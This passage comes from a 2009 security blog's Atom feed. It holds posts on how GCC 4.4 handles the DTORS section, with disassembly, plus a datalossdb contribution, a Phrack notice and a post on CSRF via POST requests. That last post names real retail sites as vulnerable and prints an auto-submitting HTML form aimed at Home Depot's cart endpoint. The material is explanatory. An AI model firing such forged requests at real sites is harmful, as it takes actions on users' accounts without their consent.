Exploitation&lt;/span&gt;&lt;/a&gt; and in the article cited above). A look at the assembly code explains why :&lt;br /&gt;&lt;br /&gt;First, the &lt;span style="font-style: italic;"&gt;nm &lt;/span&gt;command gives us the location of the DTORS section.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ nm no_dtors&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;080496a8 D __DTOR_END__&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;080496a4 d __DTOR_LIST__&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Next, we look at the content of the&lt;span style="font-style: italic;"&gt; __do_global_dtors&lt;/span&gt; which is handling the task of calling the destructors. We obtain the code with the &lt;span style="font-style: italic;"&gt;objdump -d no_dtors&lt;/span&gt; command.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;08048440 &lt;__do_global_dtors_aux&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048440:       55                      push   %ebp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048441:       89 e5                   mov    %esp,%ebp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048443:       53                      push   %ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048444:       83 ec 04                sub    $0x4,%esp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048447:       80 3d bc 97 04 08 00    cmpb   $0x0,0x80497bc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 804844e:       75 3f                   jne    804848f &lt;__do_global_dtors_aux+0x4f&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048450:       a1 c0 97 04 08          mov    0x80497c0,%eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt; &lt;/span&gt;&lt;span style="color: rgb(102, 255, 255);font-family:courier new;" &gt;8048455:       bb a8 96 04 08          mov    &lt;span style="color: rgb(255, 0, 0);"&gt;$0x80496a8&lt;/span&gt;,%ebx&lt;br /&gt;804845a:       81 eb a4 96 04 08       sub    &lt;span style="color: rgb(255, 0, 0);"&gt;$0x80496a4&lt;/span&gt;,%ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);font-family:courier new;" &gt; 8048460:       c1 fb 02                sar    $0x2,%ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);font-family:courier new;" &gt; 8048463:       83 eb 01                sub    $0x1,%ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);font-family:courier new;" &gt; 8048466:       39 d8                   cmp    %ebx,%eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);font-family:courier new;" &gt;&lt;span&gt; 8048468:       73 1e                   jae    8048488 &lt;/span&gt;&lt;__do_global_dtors_aux+0x48&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 804846a:       8d b6 00 00 00 00       lea    0x0(%esi),%esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048470:       83 c0 01                add    $0x1,%eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048473:       a3 c0 97 04 08          mov    %eax,0x80497c0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;8048478:       ff 14 85 a4 96 04 08    call   *0x80496a4(,%eax,4)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 804847f:       a1 c0 97 04 08          mov    0x80497c0,%eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048484:       39 d8                   cmp    %ebx,%eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048486:       72 e8                   jb     8048470 &lt;__do_global_dtors_aux+0x30&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048488:       c6 05 bc 97 04 08 01    movb   $0x1,0x80497bc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 804848f:       83 c4 04                add    $0x4,%esp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048492:       5b                      pop    %ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048493:       5d                      pop    %ebp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048494:       c3                      ret&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048495:       8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048499:       8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The code excerpt is fairly long so I put the interesting part in blue. We can see that the adresses of the beginning and the end of the DTORS section (in red) are directly in the code. In fact, the beginning address is subtracted to the end address to determine the length of the DTORS section. The next instructions (sar and sub) are used to check if the length of the section is smaller or equal to 4 bytes. If it's the case then the execution jumps to the adress 0x08048488 and the content of the DTORS section is never read (the call instruction in red is never reached).&lt;br /&gt;&lt;br /&gt;The program used as an example didn't have any &lt;span style="font-style: italic;"&gt;destructor&lt;/span&gt; so it wasn't exploitable. If we add a destructor to the code, we obtain the following result :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt; 8048455:       bb ac 96 04 08          mov    &lt;span style="color: rgb(255, 0, 0);"&gt;$0x80496ac&lt;/span&gt;,%ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt; 804845a:       81 eb a4 96 04 08       sub    &lt;span style="color: rgb(255, 0, 0);"&gt;$0x80496a4&lt;/span&gt;,%ebx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This time, the length of the DTORS section is 8 bytes and the addresses that it contains (in this case just one) are called.&lt;br /&gt;&lt;br /&gt;I think that the behaviour generated by GCC was changed in the recent versions to limit the risks of DTORS exploitation,  since most programs don't have &lt;span style="font-style: italic;"&gt;destructors.&lt;/span&gt; I didn't look at GCC's source code though.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-560378256429722339?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/30Jzh9MKvks" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/560378256429722339/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/08/exploitation-via-dtors-and-mitigation.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/560378256429722339?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/560378256429722339?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/08/exploitation-via-dtors-and-mitigation.html" title="Exploitation via DTORS and mitigating factors in GCC 4.4" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://farm2.static.flickr.com/1122/1192682319_7a8640f760_t.jpg" height="72" width="72" /><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;DkQASX88cSp7ImA9WxJaFkU.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-7094261849805924725</id><published>2009-08-07T17:07:00.008-04:00</published><updated>2009-08-07T18:32:28.179-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-08-07T18:32:28.179-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="exploitation" /><title>Exploitation via DTORS et facteur de mitigation dans gcc 4.4</title><content type="html">La réécriture de la table DTORS est une technique connue pour exploiter un programme compilé avec GCC.  En gros, DTORS permet d'appeler des fonctions à la fin du programme. Par exemple en ajoutant le code suivant, la fonction stop() sera appelée après l'exécution de la fonction main :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;void stop() __attribute__ ((destructor));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;void stop() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        printf("THE END\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La liste des fonctions à appeler après l'exécution du programme est placée dans la section DTORS, qui est accessible en écriture et qui peut donc être réécrite. Pour plus de détails sur cette technique, consulter cet &lt;a href="http://www.synnergy.net/downloads/papers/dtors.txt"&gt;article&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;En tentant de mettre cette technique en œuvre, j'ai découvert que cela ne fonctionnait pas lorsqu'aucune fonction n'avait été déclarée comme &lt;span style="font-style: italic;"&gt;destructor&lt;/span&gt; dans le code (contrairement à ce qui est dit dans la première édition de &lt;a href="http://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593270070"&gt;&lt;span style="font-style: italic;"&gt;The Art of Exploitation&lt;/span&gt;&lt;/a&gt; et dans l'article cité précédemment). Une vérification du code assembleur nous explique pourquoi.&lt;br /&gt;&lt;br /&gt;La commande nm nous permet de connaitre l'emplacement de la section DTORS :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ nm no_dtors&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;080496a8 D __DTOR_END__&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;080496a4 d __DTOR_LIST__&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Maintenant, examinons le contenu de la fonction &lt;span style="font-style: italic;"&gt;__do_global_dtors_aux&lt;/span&gt; qui s'occupe d'appeler les destructeurs obtenu grâce à la commande &lt;span style="font-style: italic;"&gt;objdump -d no_dtors&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;08048440 &lt;__do_global_dtors_aux&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048440:       55                      push   %ebp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048441:       89 e5                   mov    %esp,%ebp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048443:       53                      push   %ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048444:       83 ec 04                sub    $0x4,%esp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048447:       80 3d bc 97 04 08 00    cmpb   $0x0,0x80497bc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 804844e:       75 3f                   jne    804848f &lt;__do_global_dtors_aux+0x4f&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048450:       a1 c0 97 04 08          mov    0x80497c0,%eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt; &lt;/span&gt;&lt;span style="color: rgb(102, 255, 255);font-family:courier new;" &gt;8048455:       bb a8 96 04 08          mov    &lt;span style="color: rgb(255, 0, 0);"&gt;$0x80496a8&lt;/span&gt;,%ebx&lt;br /&gt;804845a:       81 eb a4 96 04 08       sub    &lt;span style="color: rgb(255, 0, 0);"&gt;$0x80496a4&lt;/span&gt;,%ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);font-family:courier new;" &gt; 8048460:       c1 fb 02                sar    $0x2,%ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);font-family:courier new;" &gt; 8048463:       83 eb 01                sub    $0x1,%ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);font-family:courier new;" &gt; 8048466:       39 d8                   cmp    %ebx,%eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);font-family:courier new;" &gt;&lt;span&gt; 8048468:       73 1e                   jae    8048488 &lt;/span&gt;&lt;__do_global_dtors_aux+0x48&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 804846a:       8d b6 00 00 00 00       lea    0x0(%esi),%esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048470:       83 c0 01                add    $0x1,%eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048473:       a3 c0 97 04 08          mov    %eax,0x80497c0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;8048478:       ff 14 85 a4 96 04 08    call   *0x80496a4(,%eax,4)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 804847f:       a1 c0 97 04 08          mov    0x80497c0,%eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048484:       39 d8                   cmp    %ebx,%eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048486:       72 e8                   jb     8048470 &lt;__do_global_dtors_aux+0x30&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048488:       c6 05 bc 97 04 08 01    movb   $0x1,0x80497bc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 804848f:       83 c4 04                add    $0x4,%esp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048492:       5b                      pop    %ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048493:       5d                      pop    %ebp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048494:       c3                      ret&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048495:       8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 8048499:       8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Le code est assez long, j'ai mis la section intéressante en bleu. On remarque que les adresses de début et de fin de DTORS sont manipulées directement. En fait, l'adresse de début est soustraite à l'adresse de fin pour déterminer la longueur de la section. Les opérations suivantes (sar et sub) servent en fait à déterminer si la longueur de la section est inférieure ou égale à 4 octets. Si tel est le cas, l'exécution saute à  0x08048488 ce qui fait que le contenu de la section n'est pas inspectée et il n'y a pas d'appel fonctions (via le call en rouge).&lt;br /&gt;&lt;br /&gt;Le programme utilisé comme exemple n'avait pas de fonction &lt;span style="font-style: italic;"&gt;destructor&lt;/span&gt; est n'est donc pas exploitable. Si nous ajoutons une fonction &lt;span style="font-style: italic;"&gt;destructor &lt;/span&gt;au code, nous obtenons le résultat suivant :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt; 8048455:       bb ac 96 04 08          mov    &lt;span style="color: rgb(255, 0, 0);"&gt;$0x80496ac&lt;/span&gt;,%ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt; 804845a:       81 eb a4 96 04 08       sub    &lt;span style="color: rgb(255, 0, 0);"&gt;$0x80496a4&lt;/span&gt;,%ebx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Dans ce cas, la longueur de la section est 8 octets ce qui fait que les adresses qui s'y trouve sont appelées.&lt;br /&gt;&lt;br /&gt;J'ai l'impression que le comportement généré par GCC a été changée dans les dernières versions pour limiter les possibilités d'exploitation, la plupart des programmes ne faisant pas appel à des fonctions &lt;span style="font-style: italic;"&gt;destructors&lt;/span&gt;. Je n'ai par contre pas vérifié l'historique du code source de GCC pour en être sûr.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-7094261849805924725?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/w_oTs56IDMM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/7094261849805924725/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/08/exploitation-via-dtors-et-facteur-de.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/7094261849805924725?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/7094261849805924725?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/08/exploitation-via-dtors-et-facteur-de.html" title="Exploitation via DTORS et facteur de mitigation dans gcc 4.4" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;CUMGQn44eyp7ImA9WxJUEkU.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-8766800196630859706</id><published>2009-07-10T22:29:00.007-04:00</published><updated>2009-07-10T23:37:03.033-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-07-10T23:37:03.033-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="datalossdb" /><category scheme="http://www.blogger.com/atom/ns#" term="fuite information" /><title>Soumission acceptée sur datalossdb.org</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3018/2475011402_495e39de64_m.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 157px; height: 123px;" src="http://farm4.static.flickr.com/3018/2475011402_495e39de64_m.jpg" alt="" border="0" /&gt;&lt;/a&gt;Je ne suis pas très actif sur ce blogue dernièrement mais cela n'implique pas que je suis moins intéressé par la sécurité informatique en ce moment. Au contraire, je continue de m'informer &lt;a href="http://hax.ekse-0x.net/refs/rss-links.html"&gt;énormément &lt;/a&gt;(cette liste est aussi &lt;a href="http://hax.ekse-0x.net/refs/google-reader-subscriptions.xml"&gt;disponible&lt;/a&gt; au format OPML et peut être importée directement dans Google Reader). J'ai aussi quelques projets toujours en réflexion.&lt;br /&gt;&lt;br /&gt;Le site &lt;a href="http://www.datalossdb.org/"&gt;datalossdb.org&lt;/a&gt; vient de publier &lt;a href="http://datalossdb.org/incidents/2174-personal-health-information-of-11-582-stolen-by-virus"&gt;ma première contribution&lt;/a&gt; qui porte sur le vol d'information de dossiers de santé de près de 11,500 patients de Alberta Health Services par un virus. Si vous ne connaissez pas déjà datalossdb.org, je vous invite fortement à y faire une petite visite virtuelle ou à vous abonner à leur flux RSS. La quantité et la taille des fuites d'information est tous simplement astronomique et il s'agit d'un réel problème qui devra être corrigé dans les années à venir, avec la digitalisation de la presque totalité de l'information.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-8766800196630859706?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/43XINfNsCtI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/8766800196630859706/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/07/soumission-acceptee-sur-datalossdborg.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/8766800196630859706?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/8766800196630859706?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/07/soumission-acceptee-sur-datalossdborg.html" title="Soumission acceptée sur datalossdb.org" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://farm4.static.flickr.com/3018/2475011402_495e39de64_t.jpg" height="72" width="72" /><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;CEACQHgyeyp7ImA9WxJXGEk.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-495376128222771310</id><published>2009-06-12T16:10:00.014-04:00</published><updated>2009-06-12T17:39:21.693-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-12T17:39:21.693-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="CSRF" /><title>CSRF via des requêtes POST</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.flickr.com/photos/11448492@N07/2924924027"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 271px; height: 202px;" src="http://farm4.static.flickr.com/3108/2924924027_8472dff151.jpg?v=0" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Dans un article publié cette semaine, &lt;a href="http://skeptikal.org/2009/06/spamming-ecommerce-with-csrf.html"&gt;Mike Bailey&lt;/a&gt; mettait en évidence la possibilité d'ajouter des articles dans les paniers d'achats de Walmart.com ou de faire apparaitre des articles dans la liste des articles récemment consultés de Ebay et Amazon en utilisant du &lt;a href="http://www.owasp.org/index.php/Cross-Site_Request_Forgery"&gt;CSRF&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Si Ebay et Amazon sont vulnérables à ce type de problème, il est fortement probable que d'autres sites ait ce genre de problème. Et c'est le cas : une recherche rapide m'a permis de découvrir que les sites de &lt;a href="http://store.fr.dumoulin.com/"&gt;Dumoulin&lt;/a&gt;, &lt;a href="http://hmv.com/"&gt;HMV&lt;/a&gt;, &lt;a href="http://store.apple.com/"&gt;Apple&lt;/a&gt;, &lt;a href="http://secure.newegg.ca/"&gt;NewEgg&lt;/a&gt;, &lt;a href="https://www.thesource.ca/estore"&gt;La Source&lt;/a&gt; et &lt;a href="http://www.homedepot.ca/"&gt;Home Depot&lt;/a&gt; ont aussi ce problème. Pour en faire l'expérience, ouvrez chacun de ces sites pour initialiser vos cookies et ensuite ouvrez &lt;a href="http://hax.ekse-0x.net/cartpwn/cartpwn.html"&gt;ce lien&lt;/a&gt;. Vous devriez retrouver plusieurs articles dans vos paniers d'achats.&lt;br /&gt;&lt;br /&gt;De simples URL du genre &lt;span style="color: rgb(51, 204, 255);font-size:85%;" &gt;http://hmv.com/hmvweb/addToBasket.do?ctx=280;-1;-1;-1;-1&amp;amp;sku=796148&lt;/span&gt; sont suffisantes pour ajouter les articles, à l'exception du site de Home Depot qui nécessite l'envoie d'un formulaire via une requête POST. Il est recommandé de ne pas utiliser les requêtes GET pour des actions qui changent l'état de l'application web. Celà semble avoir mené à la croyance que l'utilisation de requêtes POST permet d'éviter les CSRF.&lt;br /&gt;&lt;br /&gt;Ce n'est toutefois pas le cas car il possible d'envoyer des requêtes POST&lt;span style="font-weight: bold;"&gt; à un site différent&lt;/span&gt; grâce à du Javascript. En voici un exemple :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:85%;"  &gt;&amp;lt;body onLoad="document.form1.submit()"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:85%;"  &gt;&amp;lt;form name="form1" method="post" action="&lt;span style="font-weight: bold;"&gt;http://www.homedepot.ca/webapp/wcs/stores/servlet/OrderItemAdd" &lt;/span&gt;onSubmit="return false;"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:85%;"  &gt;&amp;lt;input type="hidden" name="cartAction" value="AddToCart"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:85%;"  &gt;&amp;lt;input type="hidden" name="productId" value="1951151164647560"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:85%;"  &gt;&amp;lt;input type="hidden" name="catEntryId" value="1951151164647560"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:85%;"  &gt;&amp;lt;input type="hidden" name="quantity" value="1"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:85%;"  &gt;&amp;lt;input type="hidden" name="URL" value="OrderCalculate?URL=OrderItemDisplay"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:85%;"  &gt;&amp;lt;input type="hidden" name="orderId" value="."/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:85%;"  &gt;&amp;lt;input type="hidden" name="storeId" value="10051"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:85%;"  &gt;&amp;lt;input type="hidden" name="catalogId" value="10051"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:85%;"  &gt;&amp;lt;/form&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Cette requête envoie le formulaire au chargement de la page dans le contexte de l'utilisateur, c'est-à-dire que le cookie de l'utilisateur sera envoyé avec la requête s'il existe.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-495376128222771310?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/j506ieSS7-M" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/495376128222771310/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/06/csrf-via-des-requetes-post.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/495376128222771310?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/495376128222771310?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/06/csrf-via-des-requetes-post.html" title="CSRF via des requêtes POST" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;AkANRHY_fCp7ImA9WxJXF0s.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-7893804691851757019</id><published>2009-06-11T21:04:00.001-04:00</published><updated>2009-06-11T21:06:35.844-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-11T21:06:35.844-04:00</app:edited><title>Nouvelle édition de phrack</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.phrack.org/img/phrack-logo.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 171px; height: 128px;" src="http://www.phrack.org/img/phrack-logo.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Le célèbre magazine &lt;a href="http://www.phrack.org/issues.html?issue=66"&gt;phrack &lt;/a&gt;vient de publier une &lt;a href="http://www.phrack.org/issues.html?issue=66"&gt;nouvelle édition&lt;/a&gt;. La derniere parution datait de mars 2008. Bonne lecture!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-7893804691851757019?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/GP3hy6sFnYk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/7893804691851757019/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/06/nouvelle-edition-de-phrack.html#comment-form" title="2 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/7893804691851757019?v=2" /><link 